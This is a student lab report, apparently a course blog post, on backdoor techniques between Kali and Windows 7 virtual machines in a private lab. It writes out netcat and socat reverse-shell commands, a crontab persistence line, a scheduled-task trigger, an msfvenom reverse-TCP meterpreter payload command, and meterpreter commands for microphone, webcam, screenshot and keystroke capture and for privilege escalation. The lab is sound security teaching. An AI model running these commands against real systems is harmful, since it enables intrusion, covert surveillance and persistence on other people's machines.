20155313 杨瀚 《网络对抗技术》实验二 后门原理与实践

Exp2 后门原理与实践

一、实验内容

  • 1.使用netcat获取主机操作Shell,cron启动 (0.5分)

  • 2.使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  • 3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  • 4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

  • 5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

二、实验过程

第一阶段

  • 1.首先我们将从码云上下载的necat压缩包拷入win7的虚拟机中,同时也把rar的安装包拷进去用来解压缩necat。然后将necat解压缩在桌面,做好准备工作。

  • 2.接着我们打开cmd通过ipconfig查看win7的IP地址,同时也使用ifconfig在kali虚拟机中查看IP地址。

  • 3.然后我们在win7上的ncat目录中启用necat的指令ncat.exe -l -p 5313打开本地的监听端口,让kali傻乎乎地通过nc 172.20.10.7 5313 -e /bin/sh连进来,然后获得kali的操作shell。

  • 4.当然kali也不傻,也可以通过打开监听端口nc -l -p 5313让win7傻乎乎地连进来,然后获取对方的操作shell。(所以说这是一个谁傻乎乎谁被操控的操作?)

  • 5.同时kali和win7也可以通过necat这个指令进行文字传输,所以这也是之后的后门程序传输的通道。(所以不要随便和小姐姐聊天不然说不定你就被传后门了)

  • 6.接下来我们要通过crontab这个指令进行周期性即定时的执行我们刚才所做的傻乎乎操作。我们通过man crontab查看crontab的使用指南,然后看了一圈看不懂就去百度最后了解了它的用法。

  • 7.我们使用crontab指令的-e参数,即edit(编辑)来修改我们需要它周期性执行的时间。通过在最后一行添加1 * * * * /bin/netcat 172.20.10.7 5313 -e /bin/sh,我把时间改成1,即每小时的01分钟的时候,kali会定期傻乎乎地连接win7的5313端口,然后被人家获取操作shell。

第二阶段:

  • 1.傻乎乎完毕了以后我们开始使用socat这个比necat更高级的传输指令。同样先将socat压缩包拷入解压缩。

  • 2.socat高级的其中之一的原因就是它可以通过触发器来运行,即我们可以将它填入进程的触发脚本中,我们在某一项操作过后它可以自动触发运行。我们通过以下的设置,将它设置为打开锁定win7的时候进行触发,其中在脚本一栏选择我们刚才解压缩的socat.exe可执行文件,在参数一栏填入tcp-listen:5313 exec:cmd.exe,pty,stderr。当我们通过打开休眠的计算机的时候它就启动了。



  • 3.在kali端我们使用socat - tcp:172.20.10.7:5313就可以在每个小时的01分钟的时候获取win7的cmd shell。(开始高端起来了)

第三阶段:

  • 1.首先我们使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.6 LPORT=5313 -f exe > 20155313_backdoor.exe指令生成一个主机地址为172.20.10.6,端口号为5313的后门程序。

  • 2.通过之前的necat传输(就是刚才聊天的那个命令),将这个后门程序传输到win7上。

  • 3.在kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口。设置完成以后就可以开始进行监听。


  • 4.这时候win7的用户有意无意的打开了刚才传送来的后门程序,此时的kali上已经获得了win7主机的连接,且获得了远程控制的shell(不只是刚才的cmd shell)。

  • 5.此时我们可以通过record_mic指令来获得win7端的音频;可以通过webcam_snap来获得摄像头拍的照片;可以通过webcam stream来进行录制视频;可以通过screenshot来获得win7端的截屏;可以通过keyscan_start指令开始记录下击键的过程,然后再使用keyscan_dump指令读取击键的记录;甚至可以使用getuid指令查看当前用户,并且使用getsystem指令提升远程控制的权限!


实验中出现的问题:

  • 1.我们在进行提权操作的时候出现以下的问题:命名管道模拟?

  • 2.参考网上查阅到的解决方案,我们选择绕过UAC,再进行一次msf控制台的设置,然后在进入监听模式。然而结果令人大失所望,连监听模式都进不去了,显示错误是:没有建立会话?

  • 3.带着烦躁的心情,我们重新观察一下之前background的返回参数,看到了session好像是5?于是将之前的session 1改成了session 5。带着不平静的心情我们尝试进入监听模式,结果...............................成功了!一鼓作气再尝试提升远程控制端权限,结果...............................又成功了!!!最终实验圆满完成!

三、思考题

  • 1.例举你能想到的一个后门进入到你系统中的可能方式?

  • 2.例举你知道的后门如何启动起来(win及linux)的方式?

  • 3.Meterpreter有哪些给你映像深刻的功能?

  • 4.如何发现自己有系统有没有被安装后门?

四、实验体会

参考资料

Metasploit Run VNC on Win7/2008

posted @ 2018-03-29 20:41  BonsaiYoung  阅读(232)  评论(0编辑  收藏  举报